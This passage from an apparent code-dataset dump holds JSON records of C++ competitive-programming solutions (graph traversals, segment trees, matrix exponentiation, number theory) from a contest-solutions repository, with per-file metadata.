depth[v] - depth[head[v]] + 1);\r\n v = par[head[v]];\r\n }\r\n }\r\n if (depth[u] > depth[v]) swap(u, v);\r\n lca = u;\r\n res += chains[ chain[u] ].query( depth[u] - depth[head[u]] + 1, depth[v] - depth[head[v]] + 1 );\r\n return res;\r\n}\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n //freopen(\"dat.txt\", \"r\", stdin);\r\n cin >> n;\r\n int x, y, z;\r\n for (int i = 1; i < n; i++) {\r\n cin >> x >> y;\r\n g[x].push_back(y);\r\n g[y].push_back(x);\r\n }\r\n HLD();\r\n int q;\r\n cin >> q;\r\n while (q--) {\r\n cin >> x >> y >> z;\r\n if (x == 1) {\r\n update(y, z);\r\n } else {\r\n int lca;\r\n int ans = query(y, z, lca);\r\n ans = depth[y] + depth[z] - 2 * depth[lca] + 1 - ans;\r\n cout << ans << \"\\n\";\r\n }\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.38558557629585266, "alphanum_fraction": 0.4126126170158386, "avg_line_length": 13.472222328186035, "blob_id": "a03b95f6d77c62fa0cc5e276a271794826f6dfea", "content_id": "a58582269b5876c8c65e67c2f98c3a572d83d789", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 555, "license_type": "no_license", "max_line_length": 41, "num_lines": 36, "path": "/COJ/eliogovea-cojAC/eliogovea-p1048-Accepted-s528548.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\n#include<cmath>\r\nusing namespace std;\r\n\r\nint gcd(int a, int b)\r\n{\r\n return b?gcd(b,a%b):a;\r\n}\r\n\r\nint gcd(int a, int b, int c)\r\n{\r\n return gcd(a,gcd(b,c));\r\n}\r\n\r\nint c,n,dp[101];\r\n\r\nint main()\r\n{\r\n dp[1]=7;\r\n for(int i=2; i<101; i++)\r\n {\r\n dp[i]=dp[i-1];\r\n for(int j=0; j<=i; j++)\r\n for(int k=0; k<i; k++)\r\n dp[i]+=3*(gcd(i,j,k)==1);\r\n }\r\n\r\n for(scanf(\"%d\",&c);c--;)\r\n {\r\n scanf(\"%d\",&n);\r\n printf(\"%d\\n\",dp[n]);\r\n }\r\n return 0;\r\n\r\n}" }, { "alpha_fraction": 0.39528024196624756, "alphanum_fraction": 0.4203539788722992, "avg_line_length": 15.384614944458008, "blob_id": "c6634f24ef1eae232e1ab7a21eb68db68b493181", "content_id": "01ab591735bce2a3ae218c2d3348d81544e5fa77", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 678, "license_type": "no_license", "max_line_length": 63, "num_lines": 39, "path": "/COJ/eliogovea-cojAC/eliogovea-p2276-Accepted-s647023.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 1000005;\r\n\r\nint val(char c) {\r\n if (c == 'a' || c == 'e' || c == 'i' || c == 'o' || c == 'u')\r\n return 5;\r\n return 3;\r\n}\r\n\r\nstring s;\r\nint n, len, pi[MAXN], ac[MAXN];\r\n\r\nint prefix(string &s) {\r\n\tint len = s.size();\r\n\tint mx = 0;\r\n\tac[0] = 0;\r\n\tfor (int i = 1; i < len; i++) {\r\n ac[i] = ac[i - 1] + val(s[i]);\r\n\t\tint j = pi[i - 1];\r\n\t\twhile (j > 0 && s[i] != s[j])\r\n\t\t\tj = pi[j - 1];\r\n\t\tif (s[i] == s[j]) j++;\r\n\t\tpi[i] = j;\r\n\t\tif (ac[j] > mx) mx = ac[j];\r\n\t}\r\n\treturn mx;\r\n}\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n\tcin >> n;\r\n\twhile (n--) {\r\n cin >> s;\r\n cout << prefix(s) << '\\n';\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.403553307056427, "alphanum_fraction": 0.44416242837905884, "avg_line_length": 16.761905670166016, "blob_id": "393dd5d4d11bf6168ce839e51155432771afa2be", "content_id": "7d3f809fababcf80dccc5cef142e2f4896c31668", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 394, "license_type": "no_license", "max_line_length": 58, "num_lines": 21, "path": "/COJ/eliogovea-cojAC/eliogovea-p2140-Accepted-s574336.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\nusing namespace std;\r\n\r\nconst int MAXN = 15;\r\ntypedef long long ll;\r\n\r\nll c, n, p5[MAXN];\r\n\r\nint main()\r\n{\r\n\tp5[0] = 1;\r\n\tfor ( int i = 1; i < MAXN; i++ ) p5[i] = p5[i - 1] * 5ll;\r\n\tfor ( scanf( \"%lld\", &c ); c--; )\r\n\t{\r\n\t\tscanf( \"%lld\", &n );\r\n\t\tll sol = 0ll;\r\n\t\tfor( int i = 0; i < MAXN; i++ )\r\n\t\t\tif( n & ( 1 << i ) ) sol += p5[i + 1];\r\n\t\tprintf( \"%lld\\n\", sol );\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.44543829560279846, "alphanum_fraction": 0.4686940908432007, "avg_line_length": 20.360000610351562, "blob_id": "38f6bc894217e857deb2cd6ada0191376fdd6281", "content_id": "b1655467830eddef97e64d05e8b3a298a7193619", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 559, "license_type": "no_license", "max_line_length": 55, "num_lines": 25, "path": "/COJ/eliogovea-cojAC/eliogovea-p2968-Accepted-s645175.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n//#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nint tc, a[10], tot, sum;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tbool sol = false;\r\n\t\ttot = 0;\r\n\t\tfor (int i = 0; i < 6; i++) cin >> a[i], tot += a[i];\r\n\t\tfor (int i = 0; i < (1 << 6) && !sol; i++) {\r\n\t\t\tsum = 0;\r\n\t\t\tfor (int j = 0; j < 6; j++)\r\n\t\t\t\tif (i & (1 << j)) sum += a[j];\r\n\t\t\tif (2 * sum == tot) sol = true;\r\n\t\t}\r\n\t\tif (sol) cout << \"Tobby puede cruzar\\n\";\r\n\t\telse cout << \"Tobby no puede cruzar\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3965517282485962, "alphanum_fraction": 0.42307692766189575, "avg_line_length": 12, "blob_id": "ad50f20411121cfbb89178fde8af3d66932d185e", "content_id": "19a9685803d56eae1206f44d6ac2a2aa8116ac83", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 754, "license_type": "no_license", "max_line_length": 32, "num_lines": 54, "path": "/COJ/eliogovea-cojAC/eliogovea-p4197-Accepted-s1314254.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100 * 1000 + 10;\r\n\r\nint n, m;\r\nvector <int> e[N];\r\nvector <int> g[N];\r\n\r\nbool visited[N];\r\n\r\nint dfs(int u) {\r\n\tvisited[u] = true;\r\n\tint s = 1;\r\n\tfor (auto v : g[u]) {\r\n\t\tif (!visited[v]) {\r\n\t\t\ts += dfs(v);\r\n\t\t}\r\n\t}\r\n\treturn s;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcin >> m >> n;\r\n\tfor (int r = 0; r < m; r++) {\r\n\t\tint k;\r\n\t\tcin >> k;\r\n\t\twhile (k--) {\r\n\t\t\tint x;\r\n\t\t\tcin >> x;\r\n\t\t\tx--;\r\n\t\t\te[x].push_back(r);\r\n\t\t}\r\n\t}\r\n\r\n\tfor (int c = 0; c < n; c++) {\r\n\t\tg[e[c][0]].push_back(e[c][1]);\r\n\t\tg[e[c][1]].push_back(e[c][0]);\r\n\t}\r\n\r\n\tint ans = 0;\r\n\r\n\tfor (int c = 0; c < m; c++) {\r\n\t\tif (!visited[c]) {\r\n\t\t\tans += dfs(c) - 1;\t\r\n\t\t}\r\n\t}\r\n\r\n\tcout << ans << \"\\n\";\r\n}" }, { "alpha_fraction": 0.291262149810791, "alphanum_fraction": 0.31715211272239685, "avg_line_length": 19.600000381469727, "blob_id": "6d1905bcdbdcce744266c48eb8323aa35ff39e29", "content_id": "1a00db5701cb88a7d7aea01e3578d9a4d5d21b04", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 927, "license_type": "no_license", "max_line_length": 48, "num_lines": 45, "path": "/Codeforces-Gym/100739 - KTU Programming Camp (Day 3)/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// KTU Programming Camp (Day 3)\n// 100739B\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 100002;\nconst int MAX = 500;\n\nint n, a[N], Q, p, q;\n\nint sum[MAX + 2][MAX + 2];\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n cin >> n >> Q;\n for (int i = 0; i < n; i++) {\n cin >> a[i];\n }\n while (Q--) {\n cin >> q >> p;\n if (p == 0 || p <= q) {\n cout << \"0\\n\";\n continue;\n }\n if (p <= MAX) {\n if (sum[p][q] != 0) {\n cout << sum[p][q] << \"\\n\";\n } else {\n for (int i = q; i < n; i += p) {\n sum[p][q] += a[i];\n }\n cout << sum[p][q] << \"\\n\";\n }\n } else {\n int ans = 0;\n for (int i = q; i < n; i += p) {\n ans += a[i];\n }\n cout << ans << \"\\n\";\n }\n }\n}\n" }, { "alpha_fraction": 0.3563685715198517, "alphanum_fraction": 0.3861788511276245, "avg_line_length": 21.80645179748535, "blob_id": "1edff624a653d50cd6298a823da156ca31283371", "content_id": "1a740fd89c134e692a91ba4c394e22187a819002", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 738, "license_type": "no_license", "max_line_length": 78, "num_lines": 31, "path": "/COJ/eliogovea-cojAC/eliogovea-p3010-Accepted-s683213.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\r\n// Name : 3010.cpp\r\n// Author : eliogovea\r\n// Version :\r\n// Copyright : \r\n// Description : Hello World in C++, Ansi-style\r\n//============================================================================\r\n\r\n#include <iostream>\r\n#include <vector>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nconst LL inf = 1000000000LL;\r\n\r\nLL tc, a, b, lo, hi, ans;\r\nvector<LL> v;\r\n\r\nint main() {\r\n\tfor (LL i = 0; i <= inf; i = 2LL * (i + 1LL) - 1LL) v.push_back(i);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> a >> b;\r\n\t\tans = 0LL;\r\n\t\tfor (int i = 0; v[i] <= a + b; i++)\r\n\t\t\tans += min(v[i], a) - max(0LL, v[i] - b) + 1LL;\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.27342256903648376, "alphanum_fraction": 0.32313576340675354, "avg_line_length": 24.149999618530273, "blob_id": "968f46200880300510ea6e3aab0f12d467bc0ee2", "content_id": "791511c4186ce3d0cffe47acf4589bb5ecae8bc4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 523, "license_type": "no_license", "max_line_length": 69, "num_lines": 20, "path": "/COJ/eliogovea-cojAC/eliogovea-p2549-Accepted-s479014.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\n\r\nint n,a[30][2],x,y,dm=1000000,p;\r\n\r\nint main(){\r\n scanf(\"%d\",&n);\r\n for(int i=0; i<n; i++){\r\n scanf(\"%d%d\",&a[i][0],&a[i][1]);\r\n x+=a[i][0];y+=a[i][1];\r\n }\r\n for(int i=0; i<n; i++){\r\n if( (x-a[i][0])*(x-a[i][0])+(y-a[i][1])*(y-a[i][1])<dm ){\r\n dm=(x-a[i][0])*(x-a[i][0])+(y-a[i][1])*(y-a[i][1]);\r\n p=i;\r\n }\r\n }\r\n printf(\"%d %d\\n%.2f\\n\",x,y,sqrt(dm));\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.40092167258262634, "alphanum_fraction": 0.4423963129520416, "avg_line_length": 15.194029808044434, "blob_id": "9010bea8453ad44bcea7cbd654afbb6aedb6d04d", "content_id": "77decc8f18bc20bb7884b38fe2afc360d6924bae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1085, "license_type": "no_license", "max_line_length": 64, "num_lines": 67, "path": "/Codeforces-Gym/101241 - 2013-2014 Wide-Siberian Olympiad: Onsite round/02.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2013-2014 Wide-Siberian Olympiad: Onsite round\n// 10124102\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint n, g;\nvector <int> adj[100005];\n\nint depth[100005];\n\nvoid dfs(int u, int p, int d) {\n\tdepth[u] = d;\n\t// cerr << \"dfs \" << u + 1 << \" \" << p + 1 << \" \" << d << \"\\n\";\n\tfor (int i = 0; i < adj[u].size(); i++) {\n\t\tint v = adj[u][i];\n\t\tif (v != p) {\n\t\t\tdfs(v, u, d + 1);\n\t\t}\n\t}\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tfreopen(\"input.txt\", \"r\", stdin);\n\tfreopen(\"output.txt\", \"w\", stdout);\n\n\tcin >> n >> g;\n\tg--;\n\tfor (int i = 0; i < n; i++) {\n\t\tint c;\n\t\tcin >> c;\n\t\tfor (int j = 0; j < c; j++) {\n\t\t\tint x;\n\t\t\tcin >> x;\n\t\t\tx--;\n\t\t\tadj[i].push_back(x);\n\t\t}\n\t}\n\n\tfor (int i = 0; i < n; i++) {\n\t\tdepth[i] = -1;\n\t}\n\n\tdfs(g, -1, 0);\n\n\tvector <int> end;\n\tfor (int i = 0; i < n; i++) {\n\t\tif (adj[i].size() <= 1) {\n\t\t\tend.push_back(i);\n\t\t\t// cerr << \"end \" << i + 1 << \"\\n\";\n\t\t}\n\t}\n\n\tfor (int i = 0; i < end.size(); i++) {\n\t\tif (depth[end[i]] == -1) {\n\t\t\tcout << \"-\\n\";\n\t\t} else if (depth[end[i]] & 1) {\n\t\t\tcout << \"CCW\\n\";\n\t\t} else {\n\t\t\tcout << \"CW\\n\";\n\t\t}\n\t}\n}\n" }, { "alpha_fraction": 0.2668505012989044, "alphanum_fraction": 0.28860294818878174, "avg_line_length": 17.976743698120117, "blob_id": "6e067559968e14d5ee4d595e95194f0d5ae76775", "content_id": "ccb7a1120a195aa5fd6142bf5951ca7f474e982f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3264, "license_type": "no_license", "max_line_length": 65, "num_lines": 172, "path": "/Caribbean-Training-Camp-2018/Contest_2/Solutions/E2.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\nint phi(int n) {\n int res = n;\n for (int i = 2; i * i <= n; i++) {\n if (n % i == 0) {\n res -= res / i;\n while (n % i == 0) {\n n /= i;\n }\n }\n }\n if (n > 1) {\n res -= res / n;\n }\n return res;\n}\n\nint cnt(int n) {\n int res = 1;\n for (int i = 2; i * i <= n; i++) {\n if (n % i == 0) {\n int e = 0;\n while (n % i == 0) {\n e++;\n n /= i;\n }\n res *= (e + 1);\n }\n }\n if (n > 1) {\n res *= 2;\n }\n return res;\n}\n\nLL sum(int n) {\n LL res = 1;\n for (int i = 2; i * i <= n; i++) {\n if (n % i == 0) {\n LL p = 1;\n while (n % i == 0) {\n p *= (LL)i;\n n /= i;\n }\n res *= ((LL)p * i - 1LL) / (i - 1LL);\n }\n }\n if (n > 1) {\n res *= (1LL + (LL)n);\n }\n return res;\n}\n\ninline int power(int x, int n, int m) {\n int y = 1;\n while (n) {\n if (n & 1) {\n y = (long long)y * x % m;\n }\n x = (long long)x * x % m;\n n >>= 1;\n }\n return y;\n}\n\nint inverse(int x, int n) {\n if (__gcd(x, n) != 1) {\n return -1;\n }\n int p = phi(n);\n int ix = power(x, p - 1, n);\n assert(((long long)x * ix % n) == 1);\n return power(x, p - 1, n);\n}\n\nLL egcd(LL a, LL b, LL & x, LL & y) {\n if (a == 0) {\n x = 0;\n y = 1;\n return b;\n }\n LL x1, y1;\n LL g = egcd(b % a, a, x1, y1);\n x = y1 - (b / a) * x1;\n y = x1;\n return g;\n}\n\nbool diophantine(LL a, LL b, LL c, LL & x, LL & y, LL & g) {\n g = egcd(a, b, x, y);\n if (c % g != 0) {\n return false;\n }\n x *= c / g;\n y *= c / g;\n return true;\n}\n\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n //freopen(\"dat.txt\", \"r\", stdin);\n\n LL a, b; cin >> a >> b;\n\n if (a % b == 0) {\n cout << a / b << \" 0\\n\";\n } else {\n LL q = a / b;\n if ( (a < 0 && b > 0) || (a > 0 && b < 0) ) {\n //if( q < 0 ){\n q--;\n }\n LL r = a - q * b;\n if ((b > 0 && r < 0) || (b < 0 && r > 0)) {\n cout << \"Impossible\\n\";\n } else {\n cout << q << \" \" << r << \"\\n\";\n }\n }\n/*\n LL q = a / b;\n LL r = a - q * b;\n\n if( q < 0 ){\n q--;\n }\n\n if( a != r + q * b || (b < 0 && r > 0) || (b > 0 && r < 0) ){\n cout << \"Impossible\\n\";\n //cerr << q << ' ' << r << '\\n';\n }\n else{\n cout << q << ' ' << r << '\\n';\n }\n*/\n/*\n LL a, b, c;\n cin >> a >> b >> c;\n LL x, y, g;\n bool ok = diophantine(b, a, c, y, x, g);\n g = abs(g);\n if (!ok) {\n cout << \"Impossible\\n\";\n } else {\n cerr << x << \" \" << y << \"\\n\";\n LL q1 = (c / g) * (b / g);\n LL q2 = (c / g) * (a / g);\n\n cerr << q1 << \" \" << q2 << \"\\n\";\n\n if (x < 0) {\n LL t = (-x + q1 - 1LL) / q1;\n x += t * q1;\n y -= t * q2;\n } else if (x > 0) {\n LL t = x / q1;\n x -= t * q1;\n y += t * q2;\n }\n\n cout << x << \" \" << y << \"\\n\";\n }\n*/\n}\n" }, { "alpha_fraction": 0.3576470613479614, "alphanum_fraction": 0.39764705300331116, "avg_line_length": 16.242856979370117, "blob_id": "4d274feb66b84fcff79eeae32bc9849b2a0b6946", "content_id": "7341920e19cda0d34d443d4e50f939c926bc616d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1275, "license_type": "no_license", "max_line_length": 54, "num_lines": 70, "path": "/COJ/eliogovea-cojAC/eliogovea-p3107-Accepted-s761055.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nconst long long mod = 1000007;\r\n\r\nstruct matrix {\r\n\tint size;\r\n\tlong long m[105][105];\r\n} M;\r\n\r\nmatrix operator * (const matrix &a, const matrix &b) {\r\n\tmatrix res;\r\n\tres.size = a.size;\r\n\tfor (int i = 0; i < a.size; i++) {\r\n for (int j = 0; j < a.size; j++) {\r\n res.m[i][j] = 0;\r\n }\r\n\t}\r\n\tfor (int i = 0; i < a.size; i++) {\r\n\t\tfor (int j = 0; j < a.size; j++) {\r\n\t\t\tfor (int k = 0; k < a.size; k++) {\r\n\t\t\t\tres.m[i][j] += a.m[i][k] * b.m[k][j];\r\n\t\t\t\tres.m[i][j] %= mod;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nmatrix power(matrix x, int n) {\r\n\tmatrix res;\r\n\tres.size = x.size;\r\n\tfor (int i = 0; i < x.size; i++) {\r\n for (int j = 0; j < x.size; j++) {\r\n res.m[i][j] = (i == j);\r\n }\r\n\t}\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = res * x;\r\n\t\t}\r\n\t\tx = (x * x);\r\n\t\tn >>= 1LL;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint n, m;\r\n\r\nint main() {\r\n cin >> n >> m;\r\n\t//n = 1000000000; m = 100;\r\n\tM.size = m + 1;\r\n\tfor (int i = 0; i <= m; i++) {\r\n for (int j = 0; j <= m; j++) {\r\n M.m[i][j] = 0;\r\n }\r\n\t}\r\n for (int i = 1; i <= 9; i++) {\r\n\t\tM.m[0][1 + (i % m)]++;\r\n\t}\r\n\tfor (int i = 0; i < m; i++) {\r\n\t\tfor (int j = 0; j <= 9; j++) {\r\n\t\t\tM.m[i + 1][1 + ((i + j) % m)]++;\r\n\t\t}\r\n\t}\r\n\tM = power(M, n);\r\n\tcout << M.m[0][1] << \"\\n\";\r\n}" }, { "alpha_fraction": 0.3161512017250061, "alphanum_fraction": 0.34192439913749695, "avg_line_length": 15.166666984558105, "blob_id": "f7df8778e27ca10ce0bd6571daa2c20c2a13ec11", "content_id": "84020a8c0886ae31956f1143bbe3754652fcc391", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 582, "license_type": "no_license", "max_line_length": 37, "num_lines": 36, "path": "/TOJ/2892.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nint tc, n, m, a[25][25];\n\nint main() {\n\tcin >> tc;\n\twhile (tc--) {\n\t\tcin >> n >> m;\n\t\tfor (int i = 1; i <= n; i++) {\n\t\t\tfor (int j = 1; j <= n; j++) {\n\t\t\t\ta[i][j] = 0;\n\t\t\t}\n\t\t}\n\t\tfor (int i = 0, x, y; i < m; i++) {\n\t\t\tcin >> x >> y;\n\t\t\ta[x][y] = 1;\n\t\t}\n\t\tfor (int k = 1; k <= n; k++) {\n\t\t\tfor (int i = 1; i <= n; i++) {\n\t\t\t\tfor (int j = 1; j <= n; j++) {\n\t\t\t\t\ta[i][j] |= (a[i][k] & a[k][j]);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tint ans = 1;\n\t\tfor (int i = 1; i <= n; i++) {\n\t\t\tif (a[i][i]) {\n\t\t\t\tans = 0;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\tcout << ans << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.5516529083251953, "alphanum_fraction": 0.5557851195335388, "avg_line_length": 23.473684310913086, "blob_id": "f605a0416b497bb6692c7e777b36d365a527b2b7", "content_id": "2ac75bba2c30c7e0f248f79801e601750bf613c1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 484, "license_type": "no_license", "max_line_length": 74, "num_lines": 19, "path": "/COJ/eliogovea-cojAC/eliogovea-p1285-Accepted-s599036.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <vector>\r\n#include <iostream>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nvector<pair<pair<int, int>, int> > teams;\r\nint n;\r\n\r\nint main() {\r\n\tscanf(\"%d\", &n);\r\n\tfor (int i = 0, a, b; i < n; i++) {\r\n\t\tscanf(\"%d%d\", &a, &b);\r\n\t\tteams.push_back(make_pair(make_pair(b, n - i), a));\r\n\t}\r\n\tsort(teams.begin(), teams.end(), greater<pair<pair<int, int>, int > >());\r\n\tfor (int i = 0; i < n; i++)\r\n\t\tprintf(\"%d %d\\n\", teams[i].second, teams[i].first.first);\r\n}\r\n" }, { "alpha_fraction": 0.47635021805763245, "alphanum_fraction": 0.5159342288970947, "avg_line_length": 24.616071701049805, "blob_id": "f27ff51a9dac79e0b7579b911b98dc468e2ac591", "content_id": "fb677fdfc1dbde2840db455b576d98b0679f1aa0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2981, "license_type": "no_license", "max_line_length": 93, "num_lines": 112, "path": "/COJ/eliogovea-cojAC/eliogovea-p3611-Accepted-s986434.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\nvoid gen(const vector <LL> &values, int pos, LL d1, LL d2, vector <pair <LL, LL> > &points) {\r\n\tif (pos == values.size()) {\r\n\t\tpoints.push_back(make_pair(d1, d2));\r\n\t} else {\r\n\t\tgen(values, pos + 1, d1 + values[pos], d2, points);\r\n\t\tgen(values, pos + 1, d1 - values[pos], d2 + values[pos], points);\r\n\t\tgen(values, pos + 1, d1, d2 - values[pos], points);\r\n\t}\r\n}\r\n\r\nconst LL INF = 1000000000000000000LL;\r\n\r\nstruct segmentTree {\r\n\tint n;\r\n\tvector <LL> tree;\r\n\tsegmentTree() {}\r\n\tsegmentTree(int _n) {\r\n\t\tn = _n;\r\n\t\ttree.resize(4 * n, INF);\r\n\t}\r\n\tvoid update(int x, int l, int r, int p, LL v) {\r\n\t\tif (p < l || r < p) {\r\n\t\t\treturn;\r\n\t\t}\r\n\t\tif (l == r) {\r\n\t\t\ttree[x] = min(tree[x], v);\r\n\t\t} else {\r\n\t\t\tint mid = (l + r) >> 1;\r\n\t\t\tupdate(2 * x, l, mid, p, v);\r\n\t\t\tupdate(2 * x + 1, mid + 1, r, p, v);\r\n\t\t\ttree[x] = min(tree[2 * x], tree[2 * x + 1]);\r\n\t\t}\r\n\t}\r\n\tvoid update(int p, LL v) {\r\n\t\tupdate(1, 1, n, p, v);\r\n\t}\r\n\tLL query(int x, int l, int r, int ql, int qr) {\r\n\t\tif (l > qr || r < ql) {\r\n\t\t\treturn INF;\r\n\t\t}\r\n\t\tif (l >= ql && r <= qr) {\r\n\t\t\treturn tree[x];\r\n\t\t}\r\n\t\tint mid = (l + r) >> 1;\r\n\t\tLL q1 = query(2 * x, l, mid, ql, qr);\r\n\t\tLL q2 = query(2 * x + 1, mid + 1, r, ql, qr);\r\n\t\treturn min(q1, q2);\r\n\t}\r\n\tLL query(int l, int r) {\r\n\t\treturn query(1, 1, n, l, r);\r\n\t}\r\n};\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(0);\r\n //freopen(\"dat.txt\", \"r\", stdin);\r\n\tint n;\r\n\tcin >> n;\r\n\tvector <LL> values(n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> values[i];\r\n\t}\r\n\tint n1 = n / 2;\r\n\tint n2 = n - n1;\r\n\tvector <LL> values1(n1);\r\n\tfor (int i = 0; i < n1; i++) {\r\n\t\tvalues1[i] = values[i];\r\n\t}\r\n\tvector <LL> values2(n2);\r\n\tfor (int i = 0; i < n2; i++) {\r\n\t\tvalues2[i] = values[n1 + i];\r\n\t}\r\n\tvector <pair <LL, LL> > points1;\r\n\tgen(values1, 0, 0, 0, points1);\r\n\tvector <pair <LL, LL> > points2;\r\n\tgen(values2, 0, 0, 0, points2);\r\n\tfor (int i = 0; i < points1.size(); i++) {\r\n\t\tpoints1[i].first = -points1[i].first;\r\n\t\tpoints1[i].second = -points1[i].second;\r\n\t}\r\n\tsort(points1.begin(), points1.end());\r\n\tsort(points2.begin(), points2.end());\r\n\tvector <LL> y(points1.size() + points2.size());\r\n\tfor (int i = 0; i < points1.size(); i++) {\r\n\t\ty[i] = points1[i].second;\r\n\t}\r\n\tfor (int i = 0; i < points2.size(); i++) {\r\n\t\ty[points1.size() + i] = points2[i].second;\r\n\t}\r\n\tsort(y.begin(), y.end());\r\n\ty.erase(unique(y.begin(), y.end()), y.end());\r\n\tsegmentTree st(y.size());\r\n\tLL ans = INF;\r\n\tfor (int i = points1.size() - 1, j = points2.size() - 1; i >= 0; i--) {\r\n\t\twhile (j >= 0 && points2[j].first >= points1[i].first) {\r\n\t\t\tint posY = lower_bound(y.begin(), y.end(), points2[j].second) - y.begin() + 1;\r\n\t\t\tst.update(posY, points2[j].first + points2[j].second);\r\n\t\t\tj--;\r\n\t\t}\r\n\t\tint posY = lower_bound(y.begin(), y.end(), points1[i].second) - y.begin() + 1;\r\n\t\tLL v = -points1[i].first + -points1[i].second + st.query(posY, y.size());\r\n\t\tans = min(ans, v);\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.341085284948349, "alphanum_fraction": 0.3606496751308441, "avg_line_length": 16.8125, "blob_id": "419430d3b02ff3b3309b15141bd3f2671f86055a", "content_id": "4f8cee08e3b3e0540d7ebb89cb65c07cada70436", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2709, "license_type": "no_license", "max_line_length": 89, "num_lines": 144, "path": "/COJ/eliogovea-cojAC/eliogovea-p2021-Accepted-s921551.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "/// sUrPRise\r\n\r\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 10005;\r\n\r\nconst int MOD = 1000000000;\r\n\r\nint n, m;\r\nvector <int> g[N];\r\nvector <int> gi[N];\r\n\r\nbool mark[N];\r\nbool toend[N];\r\nvector<int> topo;\r\nint mk[N];\r\nvoid topological( int u ){\r\n mk[u] = true;\r\n if( !toend[u] ){\r\n return;\r\n }\r\n\r\n for( int i = 0; i < g[u].size(); i++ ){\r\n int v = g[u][i];\r\n if( !toend[v] || mk[v] ) continue;\r\n topological( v );\r\n }\r\n\r\n topo.push_back( u );\r\n}\r\n\r\n\r\n\r\nvoid dfs(int u) {\r\n mark[u] = true;\r\n if (u == 2) {\r\n toend[u] = true;\r\n return;\r\n }\r\n for (int i = 0; i < 